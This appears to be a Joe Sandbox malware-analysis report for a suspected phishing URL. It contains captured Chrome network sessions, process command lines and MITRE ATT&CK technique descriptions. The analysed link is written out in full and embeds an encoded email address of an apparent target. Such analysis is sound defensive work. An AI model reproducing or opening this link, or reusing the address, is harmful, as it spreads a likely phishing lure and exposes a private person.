2025-01-11 00:13:47 UTC	400	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:13:46 GMT Content-Type: application/json; charset=utf-8 Content-Length: 904 Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Access-Control-Allow-Origin: https://msft.hsprotect.net Timing-Allow-Origin: * Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-11 00:13:47 UTC	904	IN	Data Raw: 7b 22 64 6f 22 3a 6e 75 6c 6c 2c 22 6f 62 22 3a 22 63 31 42 51 55 46 42 7a 59 33 70 37 4c 43 30 6f 66 48 34 70 4d 6e 78 35 66 53 38 79 4c 69 35 36 65 54 49 6e 65 79 59 75 4d 69 59 76 4b 48 6b 76 4b 48 6b 6e 65 69 77 6f 4a 6d 46 68 59 57 46 7a 55 46 42 7a 63 33 4e 6a 66 47 70 68 59 57 46 68 55 48 4e 51 55 46 42 7a 59 79 6f 73 4c 43 59 6d 4c 53 6f 76 4c 69 6b 72 4c 79 6b 6f 4b 69 38 70 4c 53 6f 73 59 57 46 68 59 56 42 7a 63 33 4e 51 63 33 4e 51 59 79 34 6f 4c 43 6b 71 4b 69 73 72 4c 53 67 74 4b 43 35 68 59 57 46 68 63 33 4e 7a 63 31 42 51 59 33 78 71 4c 32 31 35 65 6d 39 74 4c 6e 52 76 4c 53 6c 36 64 6e 6f 71 4c 6e 30 76 59 57 46 68 59 56 42 7a 63 33 4e 51 63 31 42 7a 59 79 77 6e 4b 53 64 68 59 57 46 68 55 48 4e 7a 63 31 42 51 55 48 4e 6a 65 6e 73 73 4c 53 Data Ascii: {"do":null,"ob":"c1BQUFBzY3p7LC0ofH4pMnx5fS8yLi56eTIneyYuMiYvKHkvKHkneiwoJmFhYWFzUFBzc3NjfGphYWFhUHNQUFBzYyosLCYmLSovLikrLykoKi8pLSosYWFhYVBzc3NQc3NQYy4oLCkqKisrLSgtKC5hYWFhc3Nzc1BQY3xqL215em9tLnRvLSl6dnoqLn0vYWFhYVBzc3NQc1BzYywnKSdhYWFhUHNzc1BQUHNjenssLS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49816	34.107.199.61	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:13:47 UTC	591	OUT	GET /ns?c=ec8fb750-cfb0-11ef-abf3-b915b54bbe61 HTTP/1.1 Host: stk.hsprotect.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://msft.hsprotect.net Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://msft.hsprotect.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:13:47 UTC	153	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:13:46 GMT Content-Type: text/html Content-Length: 354 Access-Control-Allow-Origin: * Connection: close
2025-01-11 00:13:47 UTC	354	IN	Data Raw: 31 31 64 32 34 31 63 39 38 61 66 31 64 66 34 38 31 64 66 63 64 65 33 64 32 39 35 37 39 31 36 34 66 30 62 30 39 36 65 64 66 39 61 31 32 36 36 33 37 64 34 35 62 31 34 36 32 33 64 65 35 39 32 37 37 64 63 64 62 37 33 33 61 66 65 36 63 37 65 34 37 63 35 62 34 38 65 37 64 63 31 36 63 34 39 30 39 63 62 61 65 61 62 39 62 64 36 34 39 33 64 31 33 38 31 66 61 65 35 36 39 33 35 64 32 30 38 35 32 33 39 39 39 36 38 66 35 65 61 37 34 36 39 35 35 38 64 33 39 32 62 33 36 34 61 33 36 62 38 31 35 35 36 33 39 38 33 36 37 31 61 36 39 34 37 34 31 66 61 62 62 62 33 34 61 32 39 62 31 32 36 63 33 36 62 66 33 37 35 61 39 64 38 39 37 64 66 65 33 38 31 33 39 64 66 39 30 64 32 66 64 65 32 33 64 39 63 34 62 39 61 37 37 61 62 35 34 33 30 61 35 61 66 32 38 39 34 63 66 63 37 61 30 31 33 Data Ascii: 11d241c98af1df481dfcde3d29579164f0b096edf9a126637d45b14623de59277dcdb733afe6c7e47c5b48e7dc16c4909cbaeab9bd6493d1381fae56935d20852399968f5ea7469558d392b364a36b815563983671a694741fabbb34a29b126c36bf375a9d897dfe38139df90d2fde23d9c4b9a77ab5430a5af2894cfc7a013

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49818	35.190.10.96	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:13:47 UTC	369	OUT	GET /api/v2/msft HTTP/1.1 Host: collector-pxzc5j78di.hsprotect.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:13:47 UTC	284	IN	HTTP/1.1 405 Method Not Allowed Date: Sat, 11 Jan 2025 00:13:47 GMT Content-Type: application/json; charset=utf-8 Content-Length: 31 Allow: POST, HEAD, OPTIONS Timing-Allow-Origin: * Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-11 00:13:47 UTC	31	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 22 7d 0a Data Ascii: {"error":"Method Not Allowed"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49819	34.107.199.61	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:13:47 UTC	382	OUT	GET /ns?c=ec8fb750-cfb0-11ef-abf3-b915b54bbe61 HTTP/1.1 Host: stk.hsprotect.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:13:48 UTC	153	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:13:47 GMT Content-Type: text/html Content-Length: 354 Access-Control-Allow-Origin: * Connection: close
2025-01-11 00:13:48 UTC	354	IN	Data Raw: 36 37 61 35 63 31 35 37 64 34 33 66 66 37 35 38 66 63 31 38 61 38 38 37 62 38 62 62 33 34 37 31 61 39 39 62 31 36 36 35 36 30 30 35 63 38 35 64 36 63 64 63 34 39 37 35 32 31 66 37 38 34 32 65 34 30 30 30 35 66 61 39 64 33 66 61 35 32 61 33 62 62 32 63 34 39 30 33 39 35 30 33 64 62 39 66 38 64 64 35 31 33 63 30 31 36 36 66 30 36 39 63 33 30 38 38 36 31 63 36 64 35 31 62 33 37 38 39 61 63 34 36 35 39 38 30 34 64 33 65 31 30 37 61 39 65 36 36 63 36 30 35 65 66 39 35 65 63 39 33 30 32 38 34 39 34 30 34 63 35 65 35 65 30 63 35 66 61 63 34 64 65 31 36 38 64 35 63 61 65 39 66 30 37 31 31 39 34 37 65 65 32 65 64 66 63 34 39 65 35 63 37 34 34 33 34 64 38 32 31 66 64 34 35 39 30 33 38 31 61 62 36 34 34 34 66 34 62 65 62 61 61 30 31 34 61 61 30 39 63 38 64 65 37 30 Data Ascii: 67a5c157d43ff758fc18a887b8bb3471a99b16656005c85d6cdc497521f7842e40005fa9d3fa52a3bb2c49039503db9f8dd513c0166f069c308861c6d51b3789ac4659804d3e107a9e66c605ef95ec9302849404c5e5e0c5fac4de168d5cae9f0711947ee2edfc49e5c74434d821fd4590381ab6444f4bebaa014aa09c8de70

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.16	49821	35.190.10.96	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:13:48 UTC	650	OUT	POST /api/v2/msft HTTP/1.1 Host: collector-pxzc5j78di.hsprotect.net Connection: keep-alive Content-Length: 8959 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-type: application/x-www-form-urlencoded Accept: / Origin: https://msft.hsprotect.net Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://msft.hsprotect.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:13:48 UTC	8959	OUT	Data Raw: 70 61 79 6c 6f 61 64 3d 61 55 6b 51 52 68 41 49 45 48 42 71 43 30 68 39 41 6e 39 67 56 30 56 5a 44 78 41 65 45 46 59 51 43 45 6b 51 59 48 41 48 53 32 56 56 65 45 70 52 64 56 6b 50 45 41 67 44 42 51 45 45 42 77 63 47 42 67 41 46 41 41 55 44 48 68 42 54 41 32 52 57 5a 32 45 47 42 6d 70 31 55 51 38 51 43 47 6c 55 55 31 35 42 56 32 38 65 45 48 39 6b 66 33 70 6b 41 57 4d 45 63 46 39 37 44 78 41 49 41 78 34 51 63 57 70 47 48 57 49 43 43 6d 52 55 59 32 63 50 45 41 67 41 48 68 42 38 63 77 64 78 59 56 78 34 51 57 45 42 52 51 38 51 43 42 42 6d 53 30 4a 58 64 30 42 41 58 55 41 49 45 6e 46 54 58 46 78 64 52 68 4a 41 56 31 4e 57 45 6b 4a 41 58 55 4a 58 51 45 5a 62 56 30 45 53 58 56 51 53 58 45 64 65 58 68 49 61 51 46 64 54 56 6c 74 63 56 52 49 56 41 68 55 62 62 6c 77 Data Ascii: payload=aUkQRhAIEHBqC0h9An9gV0VZDxAeEFYQCEkQYHAHS2VVeEpRdVkPEAgDBQEEBwcGBgAFAAUDHhBTA2RWZ2EGBmp1UQ8QCGlUU15BV28eEH9kf3pkAWMEcF97DxAIAx4QcWpGHWICCmRUY2cPEAgAHhB8cwdxYVx4QWEBRQ8QCBBmS0JXd0BAXUAIEnFTXFxdRhJAV1NWEkJAXUJXQEZbV0ESXVQSXEdeXhIaQFdTVltcVRIVAhUbblw
2025-01-11 00:13:48 UTC	400	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:13:48 GMT Content-Type: application/json; charset=utf-8 Content-Length: 932 Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Access-Control-Allow-Origin: https://msft.hsprotect.net Timing-Allow-Origin: * Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-11 00:13:48 UTC	932	IN	Data Raw: 7b 22 64 6f 22 3a 6e 75 6c 6c 2c 22 6f 62 22 3a 22 63 33 4e 51 63 31 42 51 59 30 42 76 5a 79 78 6a 4c 43 77 76 59 79 35 36 4a 33 74 36 4b 53 39 36 4a 33 77 6e 4c 48 77 76 4b 53 73 76 4c 53 34 74 65 53 59 6d 4c 69 38 6e 4b 53 6c 36 4c 53 67 74 4c 79 31 39 4a 33 70 35 4c 58 6f 76 4b 79 67 6d 4a 33 6b 71 4b 33 73 6f 4b 69 34 72 4b 48 73 72 4c 43 35 36 4c 53 70 35 66 69 73 6c 53 58 35 4c 62 79 5a 53 66 46 52 52 5a 30 64 56 4b 56 70 4f 4c 58 6c 47 52 58 68 58 65 58 78 32 5a 69 31 4c 4a 31 4a 56 66 58 68 4f 57 6e 6f 30 64 6c 4d 6f 63 30 5a 4f 58 46 68 71 64 47 77 77 65 43 31 76 65 32 78 38 4a 79 6c 55 52 6c 64 6d 56 79 31 56 53 6a 52 33 53 79 6c 6c 55 56 52 6e 62 46 68 51 62 53 67 6f 4c 57 68 4b 64 31 68 63 65 56 34 69 49 69 55 75 4c 79 38 76 4a 58 78 50 63 46 Data Ascii: {"do":null,"ob":"c3NQc1BQY0BvZyxjLCwvYy56J3t6KS96J3wnLHwvKSsvLS4teSYmLi8nKSl6LSgtLy19J3p5LXovKygmJ3kqK3soKi4rKHsrLC56LSp5fislSX5LbyZSfFRRZ0dVKVpOLXlGRXhXeXx2Zi1LJ1JVfXhOWno0dlMoc0ZOXFhqdGwweC1ve2x8JylURldmVy1VSjR3SyllUVRnbFhQbSgoLWhKd1hceV4iIiUuLy8vJXxPcF

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.16	49822	35.190.10.96	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:13:49 UTC	369	OUT	GET /api/v2/msft HTTP/1.1 Host: collector-pxzc5j78di.hsprotect.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:13:49 UTC	284	IN	HTTP/1.1 405 Method Not Allowed Date: Sat, 11 Jan 2025 00:13:49 GMT Content-Type: application/json; charset=utf-8 Content-Length: 31 Allow: HEAD, POST, OPTIONS Timing-Allow-Origin: * Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-11 00:13:49 UTC	31	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 22 7d 0a Data Ascii: {"error":"Method Not Allowed"}

Target ID:	0
Start time:	19:11:40
Start date:	10/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	19:11:42
Start date:	10/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1980,i,2470420445824453129,4138290871837381723,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	19:11:43
Start date:	10/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ=="
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Windows Analysis Report
http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==